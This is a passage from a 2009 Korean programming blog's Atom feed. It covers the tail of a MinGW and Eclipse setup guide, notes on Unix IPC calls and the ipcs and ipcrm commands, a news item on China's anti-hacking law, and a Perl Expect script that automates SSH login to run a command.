style="font-size:85%;"&gt;이때 확장자 .cpp 까지 넣어주세요 ex)main.cpp&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;test.cpp 화일을 열어 내용을 복사후 위에서 방금 생성한 cpp 화일에 붙어 넣기 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;File-&gt;Save all 을 선택합니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;이제 컴파일만 남았군요.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;project 메뉴의 Build all 을 클릭해서 컴파일을 합니다. 에러가 없으면 통과&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;그리고 Run 메뉴의 run 을 선택해서 프로그램을 실행합니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;아무내용도 없는 창이 하나 만들어 졌나요?&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;축하합니다. 설치가 완료 되었습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:12;"&gt;ps&lt;/span&gt;&lt;/strong&gt;: win32 어플리케이션을 만들려면 위 6-1 과정을 꼭 해줘야 합니다. 아니면 군데 군데 &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;"undefined refrence" 와 같은 에러를 토해냅니다 .. 저도 이과정에서 삽질을 좀 했었습니다 ^^.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;또 수정 했는데도 위와 같은 에러가 계속되면 File-&gt; save all 또는 이클립스를 종료후 다시 시작하면 됩니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;제일 좋은 방법은 프로젝트 생성시 프로젝트 명을 눌러 next 를 클릭하면&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;"select configuration" 창이 나오는데 여기서 "Advanced settings.." 를 클릭해서 &lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;6-1과정으로 바꿔 주시면 됩니다&lt;/strong&gt;. &lt;strong&gt;아울러 Save all 도 해주셔야 합니다&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;조금 번거롭죠? ^^ &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;쓰다 보니 사진도 많이 들어 가고 글도 많이 길어 졌습니다. 자세히 쓴다고 썼지만, 뭔가 이해가 안가는 부분도 있을것입니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;혹여 이해가 안가신다면 댓글 달아 주시고..&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;이 다음 글은 EditPlus 에 MinGW 컴파일러를 설정하는 방법에 대해 알아 보겠습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:14;"&gt;PS2 :&lt;/span&gt;&lt;/strong&gt; 현재 MySQL 을 작업 DB 로 설정 하기 위해 안간힘을 쓰고 있습니다. 그러다 보니.. mingw32-make.exe 이 화일이 필요해지게 되더군요. mingw 설치 프로그램을 다시 실행 시키면, 현재 설치가 되어있다면서 추가 설치를 할수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;여기서 MinGW make 를 체크하셔서 설치 해 주세요 ^^. 데이터 작업을 하지 않는 분이라면 안해도 됩니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;앞으로 MySQL 과의 연동 부분도 다룰 생각입니다.&lt;/span&gt;&lt;/p&gt;&lt;div  class="autosourcing-stub" style="font-family:arial;"&gt;&lt;p  style="margin: 20px 0pt 30px; padding: 0pt;font-size:12px;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong style="padding: 0pt 7px 0pt 0pt;"&gt;[출처]&lt;/strong&gt; &lt;a href="http://cafe.naver.com/firstcpp/4" target="_blank"&gt;MinGW + Eclipse 를 이용한 Windows 개발 환경 구현  (First C++)&lt;/a&gt; &lt;span style="padding: 0pt 7px 0pt 5px;"&gt;|&lt;/span&gt;&lt;strong style="padding: 0pt 7px 0pt 0pt;"&gt;작성자&lt;/strong&gt; &lt;a href="http://cafe.naver.com/firstcpp.cafe?iframe_url=/CafeMemberNetworkView.nhn%3Fm=view%26memberid=ppchun" target="_blank"&gt;여니아빠&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-4067914672965950312?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/4067914672965950312/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_18.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4067914672965950312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4067914672965950312'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_18.html' title='MinGW + Eclipse 를 이용한 Windows 개발 환경 구현'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-4971465820713511070</id><published>2009-03-18T19:36:00.000-07:00</published><updated>2009-03-18T19:39:31.711-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>15Day Study</title><content type='html'>15Day Study&lt;br /&gt;[[[[[세마포어, 공유 메모리, 메시지 대기열 IPC(Inter=Process Communication)]]]]]&lt;br /&gt;&lt;br /&gt;세마포어의 정의&lt;br /&gt;가장 간단한 세마포어는 오직 0과 1만의 값만 받아들이는 변수, 바이너리 세마포어&lt;br /&gt;다양한 양의 값을 받아들이는 세마포어는 일반 세마포어&lt;br /&gt;&lt;br /&gt;P와 V의 정의는 간단하다. 세마포어 변수 sv가 있다고 하자&lt;br /&gt;P(sv) : sv가 0보다 크면 sv를 감소시킨다. sv가 0이라고 하면 이 프로세스의 실행을 일시 중단한다( -1)&lt;br /&gt;V(sv) : 다른 프로세스가 sv를 가르켰을 때 일시 중단되어 있다면, 이 프로세스의 실행을 재개시킨다. sv를 기다리며 일시 중단되어 있는 프로세스가 없다면 sv를 증가시킨다( +1)&lt;br /&gt;&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt sys/ipc.h&gt;&lt;br /&gt;#include &amp;lt sys/sem.h&gt;&lt;br /&gt;&lt;br /&gt;새로운 세마포러를 만들거나 기존 세마포어의 세마포어 키를 반환&lt;br /&gt;int semget(key_t key, int num_sems, int sem_flags);&lt;br /&gt;&lt;br /&gt;세마포어의 값을 변경&lt;br /&gt;int semop(int sem_id, struct sembuf *sem_ops, size-t num_sem_ops);&lt;br /&gt;&lt;br /&gt;세마포어 정보를 직접 제어&lt;br /&gt;int semctl(int sem_id, int sem_num, int command, ...);&lt;br /&gt;command 맴버: SETVAL(세마포어 초기화), IPC_RMID(세마포어 식별자 삭제)&lt;br /&gt;&lt;br /&gt;공유메모리(shared memory)는 세 가지 IPC 기능 중에서 두번째임&lt;br /&gt;&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt sys/ipc.h&gt;&lt;br /&gt;#include &amp;lt sys/shm.h&gt;&lt;br /&gt;&lt;br /&gt;공유메모리 할당하기&lt;br /&gt;int shmget(key_t key, size_t size, int shmflg);&lt;br /&gt;shmflg를 통해서 읽고쓰기 가능 및 읽기전용에 대한 권한 설정&lt;br /&gt;반환값: 실패 -1, 성공 0 이상&lt;br /&gt;&lt;br /&gt;처음 공유 메모리 세그먼트를 만들고 쓸 수 없기 때문에 프로세스의 주소 공간에 공유메모리 연결&lt;br /&gt;void *shmat(int shm_id, const void *shm_addr, int shmflg);&lt;br /&gt;shmflg 멤버 : SHM_RND 공유 메모리가 연결되는 주소를 제어&lt;br /&gt;              SHM_RDONLY 연결된 메모리를 읽기 전용으로 만듬&lt;br /&gt;반환값: 실패 -1, 성공 공유 메모리의 첫번째 바이트에 대한 포인터 반환   &lt;br /&gt;&lt;br /&gt;공유 메모리를 현재 프로세스로 부터 분리(삭제되지 않고 현 프로세스가 공유 메모리를 사용을 불가능 하게함)&lt;br /&gt;shmdt(int shm_id);&lt;br /&gt;반환값: 실패 -1         &lt;br /&gt;&lt;br /&gt;공유메모리 제어&lt;br /&gt;int shmctl(int shm_id, int command, struct shmid_ds *buf);&lt;br /&gt;shm_id는 shmget가 반환한 값&lt;br /&gt;command는 취해야 할 동작(IPS_STAT, IPC_SET, IPC_RMID);&lt;br /&gt;*buf는 공유메모리 모드와 권한&lt;br /&gt;반환값: 실패 -1, 성공 0&lt;br /&gt;&lt;br /&gt;공유메모리 예: 753페이지 참조&lt;br /&gt;&lt;br /&gt;IPC(메시지 대기열)&lt;br /&gt;메시지 대기열은 두개의 연관이 없는 프로세스끼리 쉽고 표율적으로 데이터를 주고받을 수 있다. 메시지 대기열은 송신 프로세스와 수신 프로세스에 대해 독립적으로 존재하기 때문에, 명명된 파이프를 열고 닫을 때 동기화를 수행하면서 따르는 어려움을 다소 없애준다. 이것이 메시지가 명명된 파이프에 비해 가지는 장점이다&lt;br /&gt;&lt;br /&gt;#include &amp;lt sys/types.h&gt;&lt;br /&gt;#include &amp;lt sys/ipc.h&gt;&lt;br /&gt;#include &amp;lt sys/msg.h&gt;&lt;br /&gt;&lt;br /&gt;메시지 대기열 만들기&lt;br /&gt;int msgget(key_t key, int msgflg);&lt;br /&gt;반환값: 실패 -1, 성공 양의 정수인 대기열 식별자&lt;br /&gt;&lt;br /&gt;메시지 대기열에 메시지 추가&lt;br /&gt;int msgsnd(int msqid, const void *msg_ptr, size_t msg_sz, int msgflg);&lt;br /&gt;&lt;br /&gt;메시지 대기열에서 메시지 갖어오기&lt;br /&gt;int msgrcv(int msqid, void *msg_ptr, size_t msg_sz, long int msgtype, int msgflg);&lt;br /&gt;&lt;br /&gt;메시지 대기열에서 메시지 제어&lt;br /&gt;int msgctl(int msqid, int command, struct msqid_ds *buf);&lt;br /&gt;command 맴버: IPC_STAT, IPC_STAT, IPC_RMID&lt;br /&gt;반환값: 실패 -1, 성공 0&lt;br /&gt;프로세스가 msgsnd 함수나 msgrcv 함수에서 기다리고 있는 동안 메시지 대기열을 삭제하면, 송신 함수나 수신 함수는 실패한다.&lt;br /&gt;&lt;br /&gt;메시지 대기열 예: 762페이지 참조(사용자 1), 766페이지 참조(사용자 n&lt;br /&gt;&lt;br /&gt;IPC 상태 명령&lt;br /&gt;세마포어을 사용하여 개발한 프로그램이 세마포어을 삭제하지 않고 죽었을 경우 메모리에 찌꺼기가 남아서 위험하다. 그것을 확인할 수 있는 명령어는&lt;br /&gt;&lt;br /&gt;세마포어 상태 보기 명령&lt;br /&gt;$ ipcs - s&lt;br /&gt;--- Semaphore Arrays ----&lt;br /&gt;semid owner perms nsems status&lt;br /&gt;768   rick  666   1&lt;br /&gt;&lt;br /&gt;세마포어 죽이기(최신 리눅스)&lt;br /&gt;$ ipcrm -s 768&lt;br /&gt;&lt;br /&gt;세마포어 죽이기(오래된 리눅스)&lt;br /&gt;$ ipcrm sem 768&lt;br /&gt;&lt;br /&gt;공유 메모리 상태 보기 명령&lt;br /&gt;$ ipcs -m&lt;br /&gt;&lt;br /&gt;공유 메모리 죽이기&lt;br /&gt;$ ipcrm -m &amp;lt ID&gt;&lt;br /&gt;&lt;br /&gt;메시지 대기열 상태 보기 명령&lt;br /&gt;$ ipcs -q&lt;br /&gt;&lt;br /&gt;메시지 대기열 죽이기&lt;br /&gt;$ ipcrm -q &amp;lt ID&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-4971465820713511070?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/4971465820713511070/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/15day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4971465820713511070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4971465820713511070'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/15day-study.html' title='15Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3043414208137050552</id><published>2009-03-17T23:12:00.000-07:00</published><updated>2009-03-17T23:15:29.908-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><title type='text'>중국 쪽도 해킹 처벌이 생기는 군요 ㅋ</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.cnsec.co.kr/board/data/cheditor/0903/clip_image002.jpg"&gt;&lt;img style="cursor: pointer; width: 469px; height: 345px;" src="http://www.cnsec.co.kr/board/data/cheditor/0903/clip_image002.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;  &lt;span style="font-family:arial;"&gt;신화망(新华网)북경&lt;/span&gt;  &lt;span style="font-family:arial;"&gt;28일 11기 전국 인대 상무위원회 제7차 회의에서 형법 수정안(7)을 표결 통과하였다.&lt;br /&gt;&lt;br /&gt;주요사항으로는 “해커”의 위법 범죄 행위에 대하여 형법의 조항을 추가되어&lt;br /&gt;앞으로 “해커”들을 처벌하는데 법률에 의거할 수 있게 되었다.&lt;/span&gt;  &lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;br /&gt;기존의 중국 형법 제 285조에서는 국가 규정을 위반하고,&lt;br /&gt;국가 사무, 국방 건설, 과학 기술 영역의 컴퓨터 정보 시스템 침입하면 3년 이하의 유기형&lt;br /&gt;혹은 징역에 처한다고 하였다.&lt;/span&gt;  &lt;span style="font-family:arial;"&gt;최 근 불법적으로 컴퓨터시스템을 침입하여&lt;br /&gt;타인의 계정, 패스워드 등 정보를 절취하거나 대규모로 다른 사람의 컴퓨터를 불법 제어하여&lt;br /&gt;네트워크 안전에 심각한 영향을 초래하였다. 그러나 기존의 규정으로는 법적인 근거가 미비한 탓에&lt;br /&gt;사법 기관에서 “해커”들을 검거하는데 여러 가지 어려움이 있었다.&lt;/span&gt;  &lt;span style="font-family:arial;"&gt;형법 수정안(7)에서는&lt;br /&gt;형법 제285조 중에 제2항, 제3항을 추가되었다. “국가 규정을 위반하고 제1항 외의&lt;br /&gt;컴퓨터 정보 시스템 침입 혹은 기타 기술 수단을 통한 컴퓨터 정보 시스템의&lt;br /&gt;데이터를 저장, 처리, 전송 혹은 컴퓨터시스템을 불법 제어 할 경우 상황이 엄중하면&lt;br /&gt;3년 이하의 유기형 혹은 징역에 벌금형을 받게 된다. 상황이 아주 심각할 경우에는&lt;br /&gt; 3년 이상 7년 이하의 유기형에 처하며 벌금을 선고 할 수 있다.”&lt;/span&gt;  &lt;span style="font-family:arial;"&gt;뿐만 아니라&lt;br /&gt;“전문 컴퓨터 시스템 침입, 불법 제어 등의 프로그램을 제공하거나&lt;br /&gt;다른 사람이 침입, 불법 제어를 하는 것을 알면서 프로그램을 제공하는 경우에도&lt;br /&gt;상황이 엄중하면 규정에 의거하여 처벌을 하도록 하였다&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3043414208137050552?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3043414208137050552/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_9213.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3043414208137050552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3043414208137050552'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_9213.html' title='중국 쪽도 해킹 처벌이 생기는 군요 ㅋ'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-8438292336990965183</id><published>2009-03-17T17:31:00.000-07:00</published><updated>2009-03-17T17:44:57.674-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><category scheme='http://www.blogger.com/atom/ns#' term='Petition'/><title type='text'>출근시간 교통정보(구파발-&gt;충정로역)</title><content type='html'>&lt;img src="http://1.bp.blogspot.com/_Y3oK_751pQk/ScBBJqToOcI/AAAAAAAAAA4/409qMANVZHo/s400/traffic.bmp" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;P.S 월,화는 구파발역-&gt;세검정-&gt;충정로역으로 가야겠다.&lt;br /&gt;&lt;br /&gt;참고사이트 : 서울지방경찰청 종합교통정보센터&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-8438292336990965183?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/8438292336990965183/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_17.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8438292336990965183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8438292336990965183'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_17.html' title='출근시간 교통정보(구파발-&gt;충정로역)'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Y3oK_751pQk/ScBBJqToOcI/AAAAAAAAAA4/409qMANVZHo/s72-c/traffic.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3500712221791092264</id><published>2009-03-17T00:38:00.000-07:00</published><updated>2009-03-17T00:39:11.107-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><title type='text'>Perl 정규표현식</title><content type='html'>&lt;a href="http://gypark.pe.kr/wiki/Perl/%EC%A0%95%EA%B7%9C%ED%91%9C%ED%98%84%EC%8B%9D" target="blank"&gt;Detail View&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3500712221791092264?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3500712221791092264/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/perl_17.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3500712221791092264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3500712221791092264'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/perl_17.html' title='Perl 정규표현식'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5457017845575660109</id><published>2009-03-16T22:08:00.000-07:00</published><updated>2009-03-16T22:10:19.133-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><title type='text'>Perl 문자열 처리</title><content type='html'>&lt;a href="http://kmh.yeungnam-c.ac.kr/cgi/perl/cgitut/cgitut-5.htm" target="_balnk"&gt;Detail View&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5457017845575660109?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5457017845575660109/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/perl.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5457017845575660109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5457017845575660109'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/perl.html' title='Perl 문자열 처리'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5004765250215815235</id><published>2009-03-16T02:18:00.000-07:00</published><updated>2009-03-17T00:56:28.092-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><title type='text'>SSH Auto Login with Perl(Ouput String Parse)</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;use Expect;&lt;br /&gt;$Expect::Debug = 0;      #Debug Level 0~3&lt;br /&gt;#$Expect::Log_Stdout = 0; #Screen Log Output On/Off&lt;br /&gt;#printf "Total Option Count: %d\n", $#ARGV;&lt;br /&gt;&lt;br /&gt;if ($#ARGV lt 3) { die "Not Options ex)./ssh_autologin.pl 'IP' 'ID' 'PASSWORD' 'COMMAND'\n"; }&lt;br /&gt;$ip = $ARGV[0];&lt;br /&gt;$id = $ARGV[1];&lt;br /&gt;$pwd = $ARGV[2];&lt;br /&gt;$cmd = $ARGV[3];&lt;br /&gt;my $exp = Expect-&gt;spawn("ssh -l $id $ip");&lt;br /&gt;my $timeout = 10;&lt;br /&gt;$retry = 0;&lt;br /&gt;&lt;br /&gt;$exp-&gt;expect($timeout, [qr 'password: $' =&gt; \&amp;inputpassword], [qr /][$|#] $/ =&gt; \&amp;getcmd], [qr /connecting \(yes\/no\)\?\s*$/ =&gt; \&amp;inputyes], [timeout =&gt; \&amp;timeouterr],);&lt;br /&gt;&lt;br /&gt;sub timeouterr&lt;br /&gt;{&lt;br /&gt;die "No Login(Timeout)\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub inputpassword&lt;br /&gt;{&lt;br /&gt;my $exp = shift;&lt;br /&gt;if ($retry &gt; 0)&lt;br /&gt;{&lt;br /&gt;die "Login Error(Password)\n";&lt;br /&gt;}&lt;br /&gt;$exp-&gt;send("$pwd\n");&lt;br /&gt;$retry++;&lt;br /&gt;exp_continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub inputyes&lt;br /&gt;{&lt;br /&gt;my $exp = shift;&lt;br /&gt;$exp-&gt;send("yes\n");&lt;br /&gt;exp_continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub getcmd&lt;br /&gt;{&lt;br /&gt;my $exp = shift;&lt;br /&gt;$exp-&gt;log_file("ssh_autologin.log","w"); #logfile save&lt;br /&gt;$exp-&gt;send("$cmd\n");&lt;br /&gt;$exp-&gt;expect(1);                         #sleep for $output&lt;br /&gt;my $output = $exp-&gt;before();             #$exp-&gt;send("$cmd\n"); value&lt;br /&gt;my @array = split("\n",$output);&lt;br /&gt;my $result = "";&lt;br /&gt;for (my $i = 1; $i &lt; $#array; $i++)      #first&amp;last line remove&lt;br /&gt;{&lt;br /&gt; $result = $result."$array[$i] \n";&lt;br /&gt; #printf("Array %d : %s \n", $i, $array[$i]);&lt;br /&gt;}&lt;br /&gt;print $result;&lt;br /&gt;&lt;br /&gt;$exp-&gt;send("date\n");&lt;br /&gt;$exp-&gt;send("exit\n");&lt;br /&gt;$exp-&gt;soft_close();&lt;br /&gt;$exp-&gt;hard_close();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;실행 방법&lt;br /&gt;[root@waf cstudy]# ./ssh_autologin.pl '203.239.130.161' 'root' 'pwd' 'ps -ef'&lt;br /&gt;&lt;br /&gt;Perl Expect 설치 방법&lt;br /&gt;[root@waf cstudy]# cpan&lt;br /&gt;&lt;br /&gt;cpan shell -- CPAN exploration and modules installation (v1.7602)&lt;br /&gt;ReadLine support enabled&lt;br /&gt;&lt;br /&gt;                                                                                cpan&gt; install expect&lt;br /&gt;CPAN: Storable loaded ok&lt;br /&gt;Going to read /root/.cpan/Metadata&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;cpan&gt; quit&lt;br /&gt;Lockfile removed.&lt;br /&gt;[root@waf cstudy]#&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5004765250215815235?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5004765250215815235/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/ssh-auto-login-with-perl.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5004765250215815235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5004765250215815235'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/ssh-auto-login-with-perl.html' title='SSH Auto Login with Perl(Ouput String Parse)'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-4703017343176111018</id><published>2009-03-15T23:06:00.001-07:00</published><updated>2009-03-15T23:06:59.757-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>14Day Study</title><content type='html'>14Day 